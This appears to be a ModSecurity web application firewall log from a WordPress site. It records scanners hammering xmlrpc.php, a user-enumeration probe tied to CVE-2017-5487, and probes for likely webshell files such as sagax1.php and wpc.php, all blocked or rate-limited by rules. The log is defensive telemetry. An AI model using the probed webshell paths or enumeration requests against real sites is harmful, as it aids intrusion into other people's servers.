[Tue May 19 02:06:48.143125 2026] [:error] [pid 36579:tid 36603] [client 167.99.113.81:58591] [client 167.99.113.81] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVOF-aoZxBfgL5vDy20QAAAFU"]
[Tue May 19 02:06:49.207606 2026] [:error] [pid 44010:tid 44014] [client 167.99.113.81:60635] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVOTcFUuogD3-74-aOOQAAAMI"]
[Tue May 19 02:06:49.209098 2026] [:error] [pid 44010:tid 44014] [client 167.99.113.81:60635] [client 167.99.113.81] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVOTcFUuogD3-74-aOOQAAAMI"]
[Tue May 19 02:06:49.210220 2026] [:error] [pid 44010:tid 44014] [client 167.99.113.81:60635] [client 167.99.113.81] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVOTcFUuogD3-74-aOOQAAAMI"]
[Tue May 19 02:06:50.265126 2026] [:error] [pid 44010:tid 44024] [client 167.99.113.81:61067] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVOjcFUuogD3-74-aOOgAAAMw"]
[Tue May 19 02:06:51.314906 2026] [:error] [pid 36493:tid 36561] [client 167.99.113.81:61446] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVOwynkzQB5nM668rlzgAAAQw"]
[Tue May 19 02:06:52.367678 2026] [:error] [pid 36493:tid 36549] [client 167.99.113.81:61911] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVPAynkzQB5nM668rl0AAAAQA"]
[Tue May 19 02:06:52.369179 2026] [:error] [pid 36493:tid 36549] [client 167.99.113.81:61911] [client 167.99.113.81] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVPAynkzQB5nM668rl0AAAAQA"]
[Tue May 19 02:06:52.370325 2026] [:error] [pid 36493:tid 36549] [client 167.99.113.81:61911] [client 167.99.113.81] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVPAynkzQB5nM668rl0AAAAQA"]
[Tue May 19 02:06:53.418224 2026] [:error] [pid 36493:tid 36573] [client 167.99.113.81:62355] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVPQynkzQB5nM668rl0QAAARg"]
[Tue May 19 02:06:53.418361 2026] [:error] [pid 36493:tid 36573] [client 167.99.113.81:62355] [client 167.99.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 167.99.113.81, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVPQynkzQB5nM668rl0QAAARg"]
[Tue May 19 02:06:53.835063 2026] [:error] [pid 36492:tid 36527] [client 167.99.113.81:62527] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVPWCVlogrkn9m2w4rmAAAAAU"]
[Tue May 19 02:06:53.835256 2026] [:error] [pid 36492:tid 36527] [client 167.99.113.81:62527] [client 167.99.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 167.99.113.81, counter = 7"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVPWCVlogrkn9m2w4rmAAAAAU"]
[Tue May 19 02:06:54.252147 2026] [:error] [pid 36493:tid 36560] [client 167.99.113.81:62657] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVPgynkzQB5nM668rl0wAAAQs"]
[Tue May 19 02:06:54.252348 2026] [:error] [pid 36493:tid 36560] [client 167.99.113.81:62657] [client 167.99.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 167.99.113.81, counter = 8"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVPgynkzQB5nM668rl0wAAAQs"]
[Tue May 19 02:06:54.669372 2026] [:error] [pid 36491:tid 36505] [client 167.99.113.81:62776] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVPk555B9CZb6D60n_0wAAAUo"]
[Tue May 19 02:06:54.669516 2026] [:error] [pid 36491:tid 36505] [client 167.99.113.81:62776] [client 167.99.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 167.99.113.81, counter = 9"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVPk555B9CZb6D60n_0wAAAUo"]
[Tue May 19 02:06:55.085784 2026] [:error] [pid 36491:tid 36516] [client 167.99.113.81:62949] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVP0555B9CZb6D60n_1QAAAVU"]
[Tue May 19 02:06:55.085903 2026] [:error] [pid 36491:tid 36516] [client 167.99.113.81:62949] [client 167.99.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 167.99.113.81, counter = 10"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVP0555B9CZb6D60n_1QAAAVU"]
[Tue May 19 02:06:55.502555 2026] [:error] [pid 36579:tid 36602] [client 167.99.113.81:63116] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVP1-aoZxBfgL5vDy21AAAAFQ"]
[Tue May 19 02:06:55.502759 2026] [:error] [pid 36579:tid 36602] [client 167.99.113.81:63116] [client 167.99.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 167.99.113.81, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVP1-aoZxBfgL5vDy21AAAAFQ"]
[Tue May 19 02:06:55.940335 2026] [:error] [pid 36491:tid 36511] [client 167.99.113.81:63244] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVP0555B9CZb6D60n_1gAAAVA"]
[Tue May 19 02:06:55.940509 2026] [:error] [pid 36491:tid 36511] [client 167.99.113.81:63244] [client 167.99.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 167.99.113.81, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVP0555B9CZb6D60n_1gAAAVA"]
[Tue May 19 02:06:56.350383 2026] [:error] [pid 44087:tid 44094] [client 167.99.113.81:63366] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVQG5HPHbH9GK7l6wPtwAAAcU"]
[Tue May 19 02:06:56.350516 2026] [:error] [pid 44087:tid 44094] [client 167.99.113.81:63366] [client 167.99.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 167.99.113.81, counter = 13"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVQG5HPHbH9GK7l6wPtwAAAcU"]
[Tue May 19 02:06:56.761448 2026] [:error] [pid 44087:tid 44108] [client 167.99.113.81:63511] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVQG5HPHbH9GK7l6wPuAAAAdM"]
[Tue May 19 02:06:56.761645 2026] [:error] [pid 44087:tid 44108] [client 167.99.113.81:63511] [client 167.99.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 167.99.113.81, counter = 14"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVQG5HPHbH9GK7l6wPuAAAAdM"]
[Tue May 19 02:06:57.177675 2026] [:error] [pid 36492:tid 36535] [client 167.99.113.81:63675] [client 167.99.113.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.113.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVQWCVlogrkn9m2w4rmwAAAA0"]
[Tue May 19 02:06:57.177815 2026] [:error] [pid 36492:tid 36535] [client 167.99.113.81:63675] [client 167.99.113.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 167.99.113.81, counter = 15"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVQWCVlogrkn9m2w4rmwAAAA0"]
[Tue May 19 02:07:03.489061 2026] [:error] [pid 43916:tid 43936] [client 105.172.232.228:61969] [client 105.172.232.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.172.232.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVR9QC236p33zJJvnfFAAAAIw"]
[Tue May 19 02:07:24.508455 2026] [:error] [pid 44010:tid 44021] [client 105.172.232.228:62320] [client 105.172.232.228] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.172.232.228, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtVXDcFUuogD3-74-aORAAAAMk"]
[Tue May 19 02:25:58.371315 2026] [:error] [pid 44087:tid 44099] [client 195.250.23.54:42686] [client 195.250.23.54] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 195.250.23.54, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "agtZtm5HPHbH9GK7l6wRNQAAAco"]
[Tue May 19 02:28:52.762849 2026] [:error] [pid 36491:tid 36516] [client 34.72.185.70:53998] [client 34.72.185.70] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "agtaZE555B9CZb6D60kFQAAAAVU"]
[Tue May 19 02:28:53.668669 2026] [:error] [pid 36579:tid 36593] [client 20.151.117.104:14312] [client 20.151.117.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/library/index.php"] [unique_id "agtaZV-aoZxBfgL5vDy5hAAAAEs"]
[Tue May 19 02:28:53.797283 2026] [:error] [pid 36491:tid 36513] [client 34.72.185.70:53998] [client 34.72.185.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.72.185.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtaZU555B9CZb6D60kFQgAAAVI"]
[Tue May 19 02:28:54.867553 2026] [:error] [pid 36493:tid 36559] [client 34.72.185.70:63452] [client 34.72.185.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.72.185.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtaZgynkzQB5nM668roPgAAAQo"]
[Tue May 19 02:28:55.912951 2026] [:error] [pid 44087:tid 44098] [client 34.72.185.70:61599] [client 34.72.185.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.72.185.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtaZ25HPHbH9GK7l6wRcgAAAck"]
[Tue May 19 02:28:56.961040 2026] [:error] [pid 36491:tid 36505] [client 34.72.185.70:58111] [client 34.72.185.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.72.185.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtaaE555B9CZb6D60kFRwAAAUo"]
[Tue May 19 02:28:58.087086 2026] [:error] [pid 36491:tid 36511] [client 20.151.117.104:14310] [client 20.151.117.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/index.php"] [unique_id "agtaak555B9CZb6D60kFTwAAAVA"]
[Tue May 19 02:28:58.091507 2026] [:error] [pid 36491:tid 36516] [client 34.72.185.70:55982] [client 34.72.185.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.72.185.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtaak555B9CZb6D60kFUAAAAVU"]
[Tue May 19 02:28:59.162803 2026] [:error] [pid 36579:tid 36582] [client 34.72.185.70:49361] [client 34.72.185.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.72.185.70, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtaa1-aoZxBfgL5vDy5hgAAAEA"]
[Tue May 19 02:28:59.162967 2026] [:error] [pid 36579:tid 36582] [client 34.72.185.70:49361] [client 34.72.185.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.72.185.70, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "agtaa1-aoZxBfgL5vDy5hgAAAEA"]
[Tue May 19 02:29:00.049895 2026] [autoindex:error] [pid 36491:tid 36497] [client 20.151.117.104:14216] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/js/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue May 19 02:29:05.514771 2026] [:error] [pid 36491:tid 36501] [client 20.151.117.104:14216] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax1.php"] [unique_id "agtacU555B9CZb6D60kFXQAAAUY"]
[Tue May 19 02:29:05.941265 2026] [:error] [pid 43916:tid 43934] [client 20.151.117.104:14308] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax1.php"] [unique_id "agtacdQC236p33zJJvngYQAAAIo"]
[Tue May 19 02:29:06.569637 2026] [:error] [pid 43916:tid 43925] [client 20.151.117.104:14287] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax1.php"] [unique_id "agtactQC236p33zJJvngYgAAAIE"]
[Tue May 19 02:29:07.104817 2026] [:error] [pid 36491:tid 36508] [client 20.151.117.104:14210] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sagax1.php"] [unique_id "agtac0555B9CZb6D60kFXgAAAU0"]
[Tue May 19 02:29:07.561918 2026] [:error] [pid 36491:tid 36512] [client 20.151.117.104:14329] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpc.php"] [unique_id "agtac0555B9CZb6D60kFXwAAAVE"]
[Tue May 19 02:29:08.013551 2026] [:error] [pid 36491:tid 36516] [client 20.151.117.104:14228] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpc.php"] [unique_id "agtadE555B9CZb6D60kFYQAAAVU"]
[Tue May 19 02:29:08.494968 2026] [:error] [pid 44087:tid 44109] [client 20.151.117.104:14146] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpc.php"] [unique_id "agtadG5HPHbH9GK7l6wRdgAAAdQ"]
[Tue May 19 02:29:09.068402 2026] [:error] [pid 36491:tid 36513] [client 20.151.117.104:14334] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpc.php"] [unique_id "agtadU555B9CZb6D60kFYwAAAVI"]
[Tue May 19 02:29:09.530853 2026] [:error] [pid 36491:tid 36498] [client 20.151.117.104:14243] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "agtadU555B9CZb6D60kFZAAAAUM"]
[Tue May 19 02:29:10.077153 2026] [:error] [pid 36491:tid 36519] [client 20.151.117.104:14221] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "agtadk555B9CZb6D60kFZgAAAVg"]
[Tue May 19 02:29:10.563691 2026] [:error] [pid 36579:tid 36588] [client 20.151.117.104:14333] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "agtadl-aoZxBfgL5vDy5iwAAAEY"]
[Tue May 19 02:29:11.117484 2026] [:error] [pid 36579:tid 36601] [client 20.151.117.104:14288] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fone1.php"] [unique_id "agtad1-aoZxBfgL5vDy5jAAAAFM"]
[Tue May 19 02:29:11.625098 2026] [:error] [pid 36491:tid 36518] [client 20.151.117.104:14231] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ncx.php"] [unique_id "agtad0555B9CZb6D60kFaQAAAVc"]
[Tue May 19 02:29:12.106251 2026] [:error] [pid 36491:tid 36509] [client 20.151.117.104:14326] [client 20.151.117.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ncx.php"] [unique_id "agtaeE555B9CZb6D60kFawAAAU4"]
